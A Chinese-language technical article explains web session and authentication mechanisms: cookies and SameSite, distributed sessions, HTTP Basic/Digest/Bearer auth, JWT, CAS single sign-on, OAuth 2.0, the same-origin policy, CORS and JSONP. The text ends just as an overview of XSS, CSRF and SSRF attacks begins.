Web 会话与身份认证全景

HTTP 协议是无状态的(RFC 7230 §2.3)。每一次请求对服务器而言都是全新的,服务器不会记住上一次请求来自谁。这个设计简化了协议本身,却把"如何记住用户"的问题留给了应用层。

围绕这个核心问题,衍生出一条完整的技术问题链:

1
记住用户 → 安全地记住 → 跨系统记住 → 授权第三方 → 浏览器隔离 → 攻击与防护

本文沿着这条问题链,从会话管理到身份认证,从安全边界到攻防实战,构建一幅完整的技术全景图。

全景问题链

graph TD
    A["HTTP 无状态<br/>RFC 7230"] -->|"问题:如何记住用户?"| B["会话管理<br/>Cookie + Session"]
    B -->|"问题:单机 Session 如何扩展?"| C["分布式 Session<br/>复制 / 粘性 / 集中存储"]
    C -->|"问题:服务端能否不存状态?"| D["JWT<br/>签名防篡改<br/>自包含无状态"]
    B -->|"问题:HTTP 层如何传递凭证?"| E["HTTP 认证<br/>Basic → Digest → Bearer"]
    D -->|"问题:如何跨系统免登录?"| F["SSO 单点登录<br/>CAS 协议"]
    F -->|"问题:如何安全授权第三方?"| G["OAuth 2.0<br/>授权码模式"]
    B -->|"问题:浏览器如何隔离不同站点?"| H["同源策略<br/>CORS / JSONP"]
    H -->|"问题:攻击者如何突破隔离?"| I["XSS 偷内容<br/>CSRF 借身份<br/>SSRF 借网络"]
    I -->|"问题:如何从浏览器层面兜底?"| J["CSP<br/>内容安全策略"]

    style A fill:#f9f9f9,stroke:#333
    style B fill:#e6f3ff,stroke:#333
    style C fill:#e6f3ff,stroke:#333
    style D fill:#e6f3ff,stroke:#333
    style E fill:#fff3e6,stroke:#333
    style F fill:#fff3e6,stroke:#333
    style G fill:#fff3e6,stroke:#333
    style H fill:#e6ffe6,stroke:#333
    style I fill:#ffe6e6,stroke:#333
    style J fill:#ffe6e6,stroke:#333

模式总览

问题 模式 口诀 覆盖章节
HTTP 无状态,如何记住用户? 载体 + 服务端存储 Cookie 传 ID,Session 存数据 Part 1
Cookie 如何安全传输? 六大属性三开关 域路径定范围,过期定寿命,三开关定安全 Part 1
单机 Session 如何扩展? 集中存储 + 无状态令牌 存 Redis 或签 JWT Part 1
HTTP 层如何传递凭证? 认证头 + 质询-响应 Basic 明文,Digest 哈希,Bearer 令牌 Part 2
服务端能否不存状态? 自包含令牌 签名防篡改,过期防滥用,签出去收不回来 Part 2
如何跨系统免登录? 中心化认证 + Ticket 没 Cookie 就跳转,有 Cookie 就放行,Ticket 用完即焚 Part 2
如何安全授权第三方? 授权码 + Token 分离 前端拿 Code,后端换 Token,Code 用完即焚 Part 2
浏览器如何隔离不同站点? 同源策略 + 白名单 协议域名端口三元组 Part 3
攻击者如何突破隔离? 注入 / 借身份 / 借网络 XSS 偷,CSRF 借,SSRF 穿 Part 4
如何从浏览器层面兜底? 资源加载白名单 脚本管 XSS,frame 管劫持,connect 管外泄 Part 4

Part 1:会话管理——如何记住用户?

核心问题:HTTP 无状态,服务器如何在多次请求间识别同一个用户?

会话管理基础

三种会话 ID 载体

HTTP 协议本身不维护状态,因此需要在应用层引入"会话"(Session)的概念。会话的本质是:客户端携带一个标识符(Session ID),服务端根据这个标识符查找对应的用户状态

Session ID 的传递有三种载体:

载体 机制 优点 缺点
Cookie 浏览器自动在请求头中携带 透明、自动、标准化 受同源策略限制,可被禁用
URL 重写 将 Session ID 附加到 URL 参数中 不依赖 Cookie URL 暴露 Session ID,易泄露
隐藏表单字段 在 HTML 表单中嵌入隐藏的 Session ID 不依赖 Cookie 仅适用于表单提交场景

记忆锚点:Cookie 传 ID,Session 存数据,URL 和表单是备选。

sequenceDiagram
    participant B as 浏览器
    participant S as 服务器

    B->>S: 首次请求(无 Cookie)
    S->>S: 创建 Session 对象<br/>生成 Session ID(如 UUID)<br/>存入内存/Redis
    S-->>B: 响应 + Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly
    Note over B: 浏览器存储 Cookie

    B->>S: 后续请求<br/>Cookie: JSESSIONID=abc123
    S->>S: 根据 abc123 查找 Session<br/>恢复用户状态
    S-->>B: 响应(已认证)

    Note over B,S: Session 过期或用户登出
    B->>S: 请求(携带过期 Session ID)
    S->>S: 查找 Session 失败
    S-->>B: 401 Unauthorized 或重定向到登录页

Tomcat Session 实现

Tomcat 的 Session 管理体现了典型的容器级实现。其四层结构为:

1
Server → Service → Engine → Host → Context(应用)→ Manager → Session

Tomcat 四层结构

每个 Web 应用(Context)拥有独立的 Manager,负责 Session 的创建、查找和销毁。默认的 StandardManager 将 Session 存储在内存中,并支持持久化到文件系统。

StandardManager 类图

Tomcat Session 的结构

核心问题:Cookie 作为最主要的会话 ID 载体,如何控制其作用范围和安全性?

Cookie 由 RFC 6265(HTTP State Management Mechanism)定义,是浏览器端存储少量数据的标准机制。每个 Cookie 由六大属性控制其行为。

六大属性

属性 作用 默认值 示例
Domain 指定 Cookie 的作用域名 当前域名(不含子域) Domain=.example.com(含子域)
Path 指定 Cookie 的作用路径 当前路径 Path=/api
Expires 绝对过期时间 不设置 = 会话 Cookie Expires=Thu, 01 Jan 2026 00:00:00 GMT
Max-Age 相对过期时间(秒) 不设置 = 会话 Cookie Max-Age=3600(1 小时)
Secure 仅通过 HTTPS 传输 不设置 = HTTP/HTTPS 均可 Secure
HttpOnly 禁止 JavaScript 访问 不设置 = JS 可访问 HttpOnly

会话 Cookie(Session Cookie)指未设置 ExpiresMax-Age 的 Cookie,浏览器关闭即销毁。

Expires vs Max-Age 优先级:当两者同时存在时,Max-Age 优先(RFC 6265 §5.3)。Max-Age=0 表示立即删除 Cookie。

Domain 匹配规则

Domain 属性控制 Cookie 的作用域名,其匹配规则有细微差异:

设置方式 匹配范围 示例
不设置 Domain 仅当前域名(精确匹配,不含子域) www.example.com
Domain=example.com 当前域名 + 所有子域 example.comwww.example.comapi.example.com
Domain=.example.com 同上(前导点被忽略,RFC 6265) 同上

安全注意:设置 Domain=example.com 意味着所有子域都能读取该 Cookie。如果子域中存在不受信任的应用,可能导致 Cookie 泄露。

Path 匹配规则

Path 属性采用前缀匹配

设置 匹配的路径 不匹配的路径
Path=/ 所有路径
Path=/api /api/api/users/api/v2/data /app/application
Path=/api/ /api//api/users /api(无尾部斜杠)

记忆锚点:域路径定范围,过期定寿命,Secure 管传输,HttpOnly 管脚本。Max-Age 优先于 Expires。

1
2
3
4
5
6
7
8
Set-Cookie: session_id=abc123;
Domain=.example.com;
Path=/;
Max-Age=3600;
Expires=Thu, 01 Jan 2026 00:00:00 GMT;
Secure;
HttpOnly;
SameSite=Lax

SameSite 属性

SameSite 是 Cookie 的第七个属性(RFC 6265bis),用于防御 CSRF 攻击。它控制 Cookie 在跨站请求中是否被发送:

行为 适用场景
Strict 跨站请求完全不发送 Cookie 银行、支付等高安全场景
Lax(默认) 顶级导航的 GET 请求发送,其他跨站请求不发送 大多数 Web 应用
None 跨站请求也发送(必须配合 Secure 需要跨站嵌入的第三方服务
graph TD
    A["用户在 evil.com<br/>点击链接到 bank.com"] --> B{"SameSite 值?"}
    B -->|"Strict"| C["不发送 Cookie<br/>用户需重新登录"]
    B -->|"Lax"| D["GET 导航发送 Cookie<br/>POST/iframe 不发送"]
    B -->|"None + Secure"| E["发送 Cookie<br/>需 HTTPS"]

    style C fill:#ffe6e6
    style D fill:#fff3e6
    style E fill:#e6ffe6

记忆锚点:Strict 最严跨站全禁,Lax 折中只放 GET 导航,None 全放但必须 HTTPS。

第三方 Cookie 指由非当前页面域名设置的 Cookie。典型场景是广告追踪:

sequenceDiagram
    participant U as 用户
    participant A as site-a.com
    participant T as tracker.com
    participant B as site-b.com

    U->>A: 访问 site-a.com
    A-->>U: 页面包含 <img src="tracker.com/pixel.gif">
    U->>T: 请求 tracker.com/pixel.gif
    T-->>U: Set-Cookie: uid=12345; Domain=tracker.com

    U->>B: 访问 site-b.com
    B-->>U: 页面也包含 <img src="tracker.com/pixel.gif">
    U->>T: 请求 tracker.com/pixel.gif<br/>Cookie: uid=12345
    T->>T: 关联用户在 site-a 和 site-b 的行为

主流浏览器正在逐步限制第三方 Cookie:

  • Safari:ITP(Intelligent Tracking Prevention)已默认阻止第三方 Cookie
  • Firefox:ETP(Enhanced Tracking Protection)默认阻止已知追踪器的第三方 Cookie
  • Chrome:计划通过 Privacy Sandbox 替代第三方 Cookie

分布式 Session 方案

核心问题:单机 Session 存储在内存中,当应用部署多个实例时,用户请求可能被路由到不同实例,导致 Session 丢失。如何解决?

四种方案对比

方案 原理 优点 缺点 适用场景
Session 复制 各节点间同步 Session 数据 实现简单 网络开销大,节点越多越慢 小规模集群(2-4 节点)
粘性 Session 负载均衡器将同一用户路由到同一节点 无需改造应用 节点宕机则 Session 丢失 对可用性要求不高的场景
集中存储 Session 存入 Redis/数据库等共享存储 高可用、可扩展 增加外部依赖和网络延迟 生产环境首选
客户端存储(JWT) 将状态编码到 Token 中,客户端持有 服务端完全无状态 Token 体积大,无法主动撤销 微服务、API 场景

Session 复制的网络风暴

graph TD
    subgraph "3 节点集群"
        N1["节点 1<br/>Session A 更新"]
        N2["节点 2"]
        N3["节点 3"]
    end

    N1 -->|"同步 Session A"| N2
    N1 -->|"同步 Session A"| N3
    N2 -->|"确认"| N1
    N3 -->|"确认"| N1

    subgraph "N 节点集群"
        M["每次更新<br/>需同步 N-1 个节点<br/>网络消息 = O(N^2)"]
    end

    style M fill:#ffe6e6

粘性 Session 的故障场景

sequenceDiagram
    participant U as 用户
    participant LB as 负载均衡器
    participant N1 as 节点 1
    participant N2 as 节点 2

    U->>LB: 请求 1
    LB->>N1: 路由到节点 1(基于 IP Hash)
    N1->>N1: 创建 Session
    N1-->>U: 响应 + Session Cookie

    U->>LB: 请求 2
    LB->>N1: 继续路由到节点 1
    N1-->>U: 正常响应

    Note over N1: 节点 1 宕机

    U->>LB: 请求 3
    LB->>N2: 路由到节点 2(节点 1 不可用)
    N2->>N2: 查找 Session 失败
    N2-->>U: 401 需重新登录

集中存储方案(生产环境首选)

sequenceDiagram
    participant U as 用户
    participant LB as 负载均衡器
    participant N1 as 节点 1
    participant N2 as 节点 2
    participant R as Redis 集群

    U->>LB: 请求 1
    LB->>N1: 路由到节点 1
    N1->>R: 创建 Session(SET session:abc123 {...})
    R-->>N1: OK
    N1-->>U: 响应 + Session Cookie

    U->>LB: 请求 2
    LB->>N2: 路由到节点 2(不同节点)
    N2->>R: 查找 Session(GET session:abc123)
    R-->>N2: 返回 Session 数据
    N2-->>U: 正常响应(用户无感知)

记忆锚点:复制扛不住广播风暴,粘性扛不住节点宕机,Redis 集中存储是生产首选。


Part 2:身份认证——如何证明身份?

核心问题:用户声称自己是某人,服务器如何验证这个声明?从 HTTP 协议层的认证头,到应用层的 JWT、SSO、OAuth 2.0,认证技术不断演进。

HTTP 认证技术演进

核心问题:如何在 HTTP 请求中安全地传递身份凭证?

HTTP 认证机制定义了客户端和服务器之间的标准质询-响应(Challenge-Response)流程。从最简单的 Basic 认证到现代的 Bearer Token,每一种方案都解决了前一种方案的安全缺陷。

三种认证方案概览

graph LR
    A["Basic 认证<br/>RFC 7617 (2015)"] -->|"问题:明文传密码"| B["Digest 认证<br/>RFC 2617 (1999)"]
    B -->|"问题:MD5 已不安全"| C["Bearer Token<br/>RFC 6750 (2012)"]

    A1["Base64 编码<br/>等于明文"] -.-> A
    B1["MD5 哈希 + Nonce<br/>不传明文但算法过时"] -.-> B
    C1["令牌持有者模式<br/>配合 OAuth 2.0"] -.-> C

    style A fill:#ffe6e6
    style B fill:#fff3e6
    style C fill:#e6ffe6

Basic 认证

引入 RFC:RFC 2617 (1999),更新于 RFC 7617 (2015)

Basic 认证将用户名和密码用 Base64 编码后放入 Authorization 头。Base64 不是加密,只是编码,任何人都可以解码。

sequenceDiagram
    participant C as 客户端
    participant S as 服务器

    C->>S: GET /protected
    S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Basic realm="Secure Area"
    C->>C: 用户输入用户名密码
    C->>C: Base64("user:pass") = "dXNlcjpwYXNz"
    C->>S: GET /protected<br/>Authorization: Basic dXNlcjpwYXNz
    S->>S: 解码 Base64 → "user:pass"<br/>验证用户名密码
    S-->>C: 200 OK + 资源

安全问题

  • 明文传输:Base64 解码即可得到密码
  • 无法防重放:同一请求可被无限次重放
  • 无过期机制:认证信息长期有效

记忆锚点:Base64 编码不是加密,等于明文传密码。

Digest 认证

引入 RFC:RFC 2069 (1997),更新于 RFC 2617 (1999)

Digest 认证通过 MD5 哈希和一次性随机数(Nonce)解决 Basic 认证的明文传输问题。客户端传输的是包含密码、Nonce、URI 等多因素的复合哈希值,而非密码本身。

sequenceDiagram
    participant C as 客户端
    participant S as 服务器

    C->>S: GET /protected
    S->>S: 生成 Nonce(一次性随机数)
    S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Digest<br/>realm="Secure Area",<br/>nonce="dcd98b...",<br/>qop="auth"

    C->>C: 计算复合哈希:<br/>HA1 = MD5(user:realm:pass)<br/>HA2 = MD5(GET:/protected)<br/>Response = MD5(HA1:nonce:nc:cnonce:qop:HA2)
    C->>S: Authorization: Digest<br/>username="user",<br/>nonce="dcd98b...",<br/>response="6629fa..."

    S->>S: 用相同算法计算 Response<br/>与客户端提交的 Response 比对
    S-->>C: 200 OK + 资源

关键参数

参数 作用
nonce 服务器生成的一次性随机数,防止重放攻击
cnonce 客户端生成的随机数,增强安全性
nc Nonce 计数器,防止同一 Nonce 被重用
qop 保护质量(auth / auth-int)

局限性:MD5 算法已被证明存在碰撞漏洞,现代应用不再推荐使用 Digest 认证。

记忆锚点:Digest 用复合哈希不传明文,Nonce 防重放,但 MD5 已过时。

Bearer Token 认证

引入 RFC:RFC 6750 (2012) - OAuth 2.0 Authorization Framework: Bearer Token Usage

Bearer Token 采用"持有者即拥有者"的模式——拥有令牌即可访问资源,无需额外的身份证明。这是 OAuth 2.0 框架的核心认证方式。

sequenceDiagram
    participant U as 用户
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    U->>C: 授权请求
    C->>A: 获取 Access Token
    A-->>C: 返回 Bearer Token

    C->>R: GET /api/resource<br/>Authorization: Bearer eyJhbG...
    R->>R: 验证 Token 签名和有效期
    R-->>C: 200 OK + 资源

Bearer Token 可以是不透明字符串(服务器端查表验证)或 JWT(自包含验证)。

记忆锚点:Bearer 持有即拥有,JWT 自包含无状态,但需防泄露。

三种方案安全性对比

维度 Basic Digest Bearer
密码传输 明文(Base64) 复合哈希值 不传输密码
防重放 不支持 支持(Nonce) 依赖 Token 有效期
防中间人 不支持 支持 依赖 HTTPS
防篡改 不支持 支持 支持(JWT 签名)
算法强度 MD5(已过时) 可选强算法(RS256 等)
适用场景 内网测试 遗留系统 现代 API

历史演进时间线

graph LR
    A["1997<br/>RFC 2069<br/>Digest 初版"] --> B["1999<br/>RFC 2617<br/>Basic + Digest"]
    B --> C["2012<br/>RFC 6750<br/>Bearer Token"]
    C --> D["2015<br/>RFC 7617<br/>Basic 更新"]

    style A fill:#ffe6e6
    style B fill:#fff3e6
    style C fill:#e6ffe6
    style D fill:#e6e6ff

实践建议

何时使用 Basic 认证
  • 内网环境 + HTTPS
  • 快速原型开发
  • 简单的 API 测试工具
  • 不适用:互联网公开 API、涉及敏感数据的场景
何时使用 Digest 认证
  • 遗留系统维护
  • 无法使用 HTTPS 的特殊环境
  • 不适用:新项目开发(MD5 已不安全)、现代浏览器环境
何时使用 Bearer Token
  • RESTful API
  • 微服务架构
  • 移动 App 后端
  • 第三方授权(OAuth 2.0)
  • 注意:传统网页应用中 Cookie + Session 更简单
安全最佳实践
  1. 始终使用 HTTPS:所有认证方案都应配合 HTTPS 使用
  2. 设置合理有效期:Bearer Token 有效期不宜过长(建议 15-30 分钟)
  3. 实现 Token 刷新:使用 Refresh Token 实现长期访问
  4. 添加 IP 限制:绑定 Token 和客户端 IP 地址
  5. 监控异常访问:记录和告警异常的 Token 使用行为

记忆锚点:HTTPS 是基础,Token 要短命,刷新机制不可少。

JWT 深入解析

核心问题:传统 Session 需要服务端存储状态,在微服务架构下成为瓶颈。能否将状态编码到令牌中,让服务端完全无状态?

JWT(JSON Web Token,RFC 7519)是一种自包含的令牌格式,将用户身份和权限信息编码到 Token 中,通过数字签名保证完整性。

JWT 结构

JWT 由三部分组成,用 . 分隔:Header.Payload.Signature

1
2
3
4
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    ← Header(Base64URL 编码)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik ← Payload(Base64URL 编码)
pvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature
部分 内容 示例
Header 算法和类型声明 {"alg":"HS256","typ":"JWT"}
Payload 声明(Claims) {"sub":"1234567890","name":"John Doe","exp":1516239022}
Signature 签名 HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

标准声明字段(RFC 7519 §4.1)

字段 全称 作用
iss Issuer 签发者
sub Subject 主题(通常是用户 ID)
aud Audience 接收方
exp Expiration Time 过期时间
nbf Not Before 生效时间
iat Issued At 签发时间
jti JWT ID 唯一标识符(可用于黑名单撤销)

签名算法

算法 类型 密钥 适用场景
HS256 对称加密 共享密钥 单体应用(签发和验证方相同)
RS256 非对称加密 私钥签名 / 公钥验证 微服务(签发方和验证方分离)
ES256 椭圆曲线 私钥签名 / 公钥验证 高安全要求场景

JWT 的撤销难题

JWT 一旦签发就无法主动撤销——这是"自包含"设计的代价。常见的应对方案:

方案 原理 代价
短有效期 Access Token 有效期设为 15-30 分钟 需要频繁刷新
黑名单 将需要撤销的 jti 存入 Redis 引入服务端状态,部分抵消无状态优势
刷新令牌 用长期有效的 Refresh Token 换取短期 Access Token 增加复杂度

JWT 刷新流程

sequenceDiagram
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    Note over C,A: 初始登录
    C->>A: 用户名 + 密码
    A-->>C: Access Token(15 分钟)<br/>+ Refresh Token(7 天)

    Note over C,R: 正常访问
    C->>R: Authorization: Bearer {access_token}
    R-->>C: 200 OK

    Note over C,R: Access Token 过期
    C->>R: Authorization: Bearer {expired_access_token}
    R-->>C: 401 Token Expired

    Note over C,A: 刷新 Token
    C->>A: POST /token/refresh<br/>Refresh Token
    A->>A: 验证 Refresh Token 有效性
    A-->>C: 新 Access Token(15 分钟)<br/>+ 新 Refresh Token(7 天)

    Note over C,R: 继续访问
    C->>R: Authorization: Bearer {new_access_token}
    R-->>C: 200 OK

Session vs JWT 决策

维度 Session JWT
状态存储 服务端(内存/Redis) 客户端(Token 自包含)
扩展性 需要共享存储 天然支持水平扩展
撤销能力 直接删除 Session 需要黑名单机制
传输开销 Cookie 仅含 Session ID(几十字节) JWT 包含完整声明(几百字节到几 KB)
适用场景 传统 Web 应用 微服务、API、移动端

记忆锚点:JWT 签名防篡改,过期防滥用,但签出去就收不回来。

SSO 单点登录

核心问题:企业内部有多个系统(OA、邮箱、CRM),用户是否需要在每个系统都登录一次?

SSO(Single Sign-On)的目标是:一次登录,处处通行。用户在一个系统登录后,访问其他系统时无需再次输入凭证。

CAS 协议工作流程

CAS(Central Authentication Service)是最经典的 SSO 协议。其核心思想是引入一个中心化的认证服务器(CAS Server),所有业务系统(CAS Client)将认证请求委托给它。

sequenceDiagram
    participant U as 用户浏览器
    participant A as 应用 A
    participant CAS as CAS 认证中心
    participant B as 应用 B

    Note over U,CAS: 首次访问应用 A(未登录)
    U->>A: 访问 app-a.com/dashboard
    A->>A: 检查 Session → 无
    A-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-a.com/callback

    U->>CAS: 访问 CAS 登录页
    CAS->>CAS: 检查 CAS Cookie(TGC)→ 无
    CAS-->>U: 返回登录表单

    U->>CAS: 提交用户名 + 密码
    CAS->>CAS: 验证凭证<br/>创建 TGT(Ticket Granting Ticket)<br/>生成 ST(Service Ticket)
    CAS-->>U: 302 重定向到 app-a.com/callback?ticket=ST-12345<br/>Set-Cookie: TGC=TGT-xxx(CAS 域名下)

    U->>A: 访问 app-a.com/callback?ticket=ST-12345
    A->>CAS: 后端验证 ST-12345(服务端到服务端)
    CAS->>CAS: 验证 ST 有效性<br/>ST 用完即焚(一次性)
    CAS-->>A: 返回用户信息
    A->>A: 创建本地 Session
    A-->>U: 200 OK + Set-Cookie: JSESSIONID=...

    Note over U,CAS: 访问应用 B(已在 CAS 登录)
    U->>B: 访问 app-b.com/home
    B->>B: 检查 Session → 无
    B-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-b.com/callback

    U->>CAS: 访问 CAS(携带 TGC Cookie)
    CAS->>CAS: 验证 TGC → 有效<br/>生成新的 ST
    CAS-->>U: 302 重定向到 app-b.com/callback?ticket=ST-67890<br/>(无需再次登录)

    U->>B: 访问 app-b.com/callback?ticket=ST-67890
    B->>CAS: 后端验证 ST-67890
    CAS-->>B: 返回用户信息
    B->>B: 创建本地 Session
    B-->>U: 200 OK(免登录成功)

CAS 核心概念

概念 全称 作用 生命周期
TGT Ticket Granting Ticket CAS 服务端的登录凭证 长期有效(如 8 小时)
TGC Ticket Granting Cookie 浏览器端存储的 TGT 引用 随 TGT 过期
ST Service Ticket 一次性票据,用于业务系统验证 用完即焚(一次性)

SSO 单点登出

单点登出是 SSO 的常见 Corner Case:用户在一个系统登出后,所有系统都应该同步登出。

sequenceDiagram
    participant U as 用户浏览器
    participant A as 应用 A
    participant CAS as CAS 认证中心
    participant B as 应用 B

    U->>A: 点击"登出"
    A->>A: 销毁本地 Session
    A-->>U: 302 重定向到 CAS<br/>cas.com/logout

    U->>CAS: 访问 CAS 登出接口
    CAS->>CAS: 销毁 TGT<br/>清除 TGC Cookie
    CAS->>A: 回调通知:销毁 Session(后端到后端)
    CAS->>B: 回调通知:销毁 Session(后端到后端)
    A->>A: 销毁本地 Session
    B->>B: 销毁本地 Session
    CAS-->>U: 重定向到登录页

    Note over U,B: 用户再访问应用 B
    U->>B: 访问 app-b.com/home
    B->>B: 检查 Session → 已销毁
    B-->>U: 302 重定向到 CAS 登录页

Corner Case:如果应用 B 的回调通知失败(网络问题),用户在应用 B 的 Session 可能不会被及时销毁。解决方案:

  • 设置较短的 Session 有效期
  • 应用端定期向 CAS 校验 TGT 状态
  • 使用消息队列保证通知的可靠投递

跨域 SSO

当业务系统分布在不同域名下(如 a.company.comb.partner.com),Cookie 无法跨域共享。CAS 协议通过 HTTP 重定向 解决这个问题——TGC 只存在 CAS 域名下,各业务系统通过重定向到 CAS 来检查登录状态。

记忆锚点:没 Cookie 就跳转 CAS,有 TGC 就签发 ST,ST 用完即焚。

OAuth 2.0 授权框架

核心问题:用户想让第三方应用(如"用微信登录")访问自己在某平台的数据,但不想把密码告诉第三方。如何在不暴露密码的情况下安全授权?

OAuth 2.0(RFC 6749)是一个授权框架,解决的是授权问题而非认证问题。它定义了四种授权模式,其中授权码模式(Authorization Code)是最安全、最常用的。

OAuth2 架构

四个角色

角色 说明 示例
Resource Owner 资源拥有者(用户) 微信用户
Client 第三方应用 某电商 App
Authorization Server 授权服务器 微信开放平台
Resource Server 资源服务器 微信用户信息 API

授权码模式(Authorization Code)

授权码模式是最安全的模式,适用于有后端服务器的 Web 应用。核心设计:前端拿 Code,后端换 Token,Code 用完即焚

sequenceDiagram
    participant U as 用户
    participant C as 第三方应用(前端)
    participant CS as 第三方应用(后端)
    participant A as 授权服务器

    U->>C: 点击"用微信登录"
    C-->>U: 302 重定向到授权服务器<br/>authorize?response_type=code<br/>&client_id=xxx<br/>&redirect_uri=callback_url<br/>&scope=user_info<br/>&state=random_string

    U->>A: 访问授权页面
    A->>A: 验证用户身份(如已登录则跳过)
    A-->>U: 展示授权确认页<br/>"是否允许 xxx 访问您的用户信息?"

    U->>A: 用户点击"同意授权"
    A->>A: 生成授权码(Authorization Code)<br/>有效期短(通常 10 分钟)
    A-->>U: 302 重定向到 callback_url?code=AUTH_CODE&state=random_string

    U->>CS: 携带 code 访问 callback_url
    CS->>A: POST /token(后端到后端,不经过浏览器)<br/>grant_type=authorization_code<br/>&code=AUTH_CODE<br/>&client_id=xxx<br/>&client_secret=yyy<br/>&redirect_uri=callback_url
    A->>A: 验证 code(用完即焚)<br/>验证 client_secret
    A-->>CS: 返回 Access Token + Refresh Token

    CS->>CS: 存储 Token
    CS-->>U: 登录成功

安全设计要点

  • Authorization Code 一次性使用:Code 在换取 Token 后立即失效,防止重放
  • client_secret 后端传输:密钥不经过浏览器,防止泄露
  • state 参数:防止 CSRF 攻击,客户端生成随机字符串并验证回调中的 state 是否一致
  • PKCE 扩展(RFC 7636):为无法安全存储 client_secret 的公开客户端(如 SPA、移动 App)提供额外保护

其他授权模式

模式 适用场景 安全性 是否推荐
授权码模式 有后端的 Web 应用 最高 首选
隐式模式(Implicit) 纯前端 SPA(已过时) 低(Token 暴露在 URL 中) 不推荐,用 PKCE 替代
密码模式(Resource Owner Password) 高度信任的第一方应用 中(需要用户密码) 仅限第一方
客户端凭证模式(Client Credentials) 服务间调用(无用户参与) 适用于 M2M

OAuth 2.0 Token 刷新流程

sequenceDiagram
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    C->>R: GET /api/data<br/>Authorization: Bearer {access_token}
    R-->>C: 401 Token Expired

    C->>A: POST /token<br/>grant_type=refresh_token<br/>&refresh_token=xxx<br/>&client_id=yyy
    A->>A: 验证 Refresh Token<br/>签发新 Access Token<br/>(可选)轮换 Refresh Token
    A-->>C: 新 Access Token + 新 Refresh Token

    C->>R: GET /api/data<br/>Authorization: Bearer {new_access_token}
    R-->>C: 200 OK + 数据

记忆锚点:前端拿 Code,后端换 Token,Code 用完即焚,state 防 CSRF。


Part 3:安全边界——浏览器如何隔离?

核心问题:浏览器同时打开多个网站,如何防止恶意网站读取其他网站的数据?

同源策略与跨域

同源策略(Same-Origin Policy)

同源策略是浏览器最基本的安全机制(由 Netscape Navigator 2.0 于 1995 年引入)。同源的定义是:协议 + 域名 + 端口 三者完全相同。

URL A URL B 是否同源 原因
https://a.com/page1 https://a.com/page2 同源 协议、域名、端口均相同
https://a.com http://a.com 不同源 协议不同(HTTPS vs HTTP)
https://a.com https://b.com 不同源 域名不同
https://a.com https://a.com:8080 不同源 端口不同(443 vs 8080)
https://a.com https://sub.a.com 不同源 域名不同(子域也算不同)

同源策略限制的行为:

  • DOM 访问:不同源的页面不能访问彼此的 DOM
  • Cookie/Storage:不同源的页面不能读取彼此的 Cookie 和 LocalStorage
  • AJAX 请求:不同源的 AJAX 请求会被浏览器拦截(响应被丢弃)

记忆锚点:协议域名端口三元组,一个不同就跨域。

CORS(Cross-Origin Resource Sharing)

CORS(RFC 6454 定义了 Origin 概念,W3C CORS 规范定义了跨域机制)是现代浏览器解决跨域问题的标准方案。服务器通过响应头声明允许哪些源访问资源。

简单请求 vs 预检请求
条件 简单请求 预检请求
方法 GET / HEAD / POST PUT / DELETE / PATCH 等
Content-Type text/plain, multipart/form-data, application/x-www-form-urlencoded application/json 等
自定义头 有(如 Authorization)
流程 直接发送,浏览器检查响应头 先发 OPTIONS 预检,通过后再发实际请求
预检请求流程
sequenceDiagram
    participant B as 浏览器(a.com)
    participant S as 服务器(api.b.com)

    Note over B,S: 预检请求(OPTIONS)
    B->>S: OPTIONS /api/data<br/>Origin: https://a.com<br/>Access-Control-Request-Method: PUT<br/>Access-Control-Request-Headers: Authorization, Content-Type

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Methods: GET, PUT, POST<br/>Access-Control-Allow-Headers: Authorization, Content-Type<br/>Access-Control-Max-Age: 86400

    Note over B,S: 实际请求
    B->>S: PUT /api/data<br/>Origin: https://a.com<br/>Authorization: Bearer xxx<br/>Content-Type: application/json

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com
关键响应头
响应头 作用 示例
Access-Control-Allow-Origin 允许的源 https://a.com*
Access-Control-Allow-Methods 允许的 HTTP 方法 GET, POST, PUT
Access-Control-Allow-Headers 允许的请求头 Authorization, Content-Type
Access-Control-Allow-Credentials 是否允许携带 Cookie true
Access-Control-Max-Age 预检结果缓存时间(秒) 86400

安全注意:当 Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能设为 *,必须指定具体的源。

sequenceDiagram
    participant B as 浏览器(a.com)
    participant S as 服务器(api.b.com)

    B->>S: GET /api/user<br/>Origin: https://a.com<br/>Cookie: session_id=abc123
    Note over B: 前端需设置<br/>fetch(url, {credentials: 'include'})

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Credentials: true
    Note over S: 不能用 * 必须指定具体源

JSONP(历史方案)

JSONP 利用 <script> 标签不受同源策略限制的特性实现跨域数据获取。原理是服务器返回一段 JavaScript 函数调用,将数据作为参数传入。

1
2
3
4
5
6
7
8
9
10
11
// 前端定义回调函数
function handleData(data) {
console.log(data);
}

// 动态创建 script 标签
const script = document.createElement('script');
script.src = 'https://api.b.com/data?callback=handleData';
document.body.appendChild(script);

// 服务器返回:handleData({"name": "John", "age": 30})

局限性:仅支持 GET 请求,存在 XSS 风险(执行任意返回的 JavaScript),现代应用应使用 CORS 替代。

记忆锚点:CORS 是标准方案,JSONP 是历史遗留,生产环境用 CORS。


Part 4:攻防与防护——如何兜底?

核心问题:会话管理、身份认证、同源策略构建了 Web 安全的基础设施,但攻击者总能找到突破口。常见的攻击手段有哪些?如何防御?

Web 安全攻防

三大攻击类型概览

graph TD
    A["Web 安全攻击"] --> B["XSS<br/>跨站脚本攻击"]
    A --> C["CSRF<br/>跨站请求伪造"]
    A --> D["SSRF<br/>服务端请求伪造"]

    B --> B1["注入恶意脚本<br/>偷取用户数据"]
    C --> C1["借用用户身份<br/>执行未授权操作"]
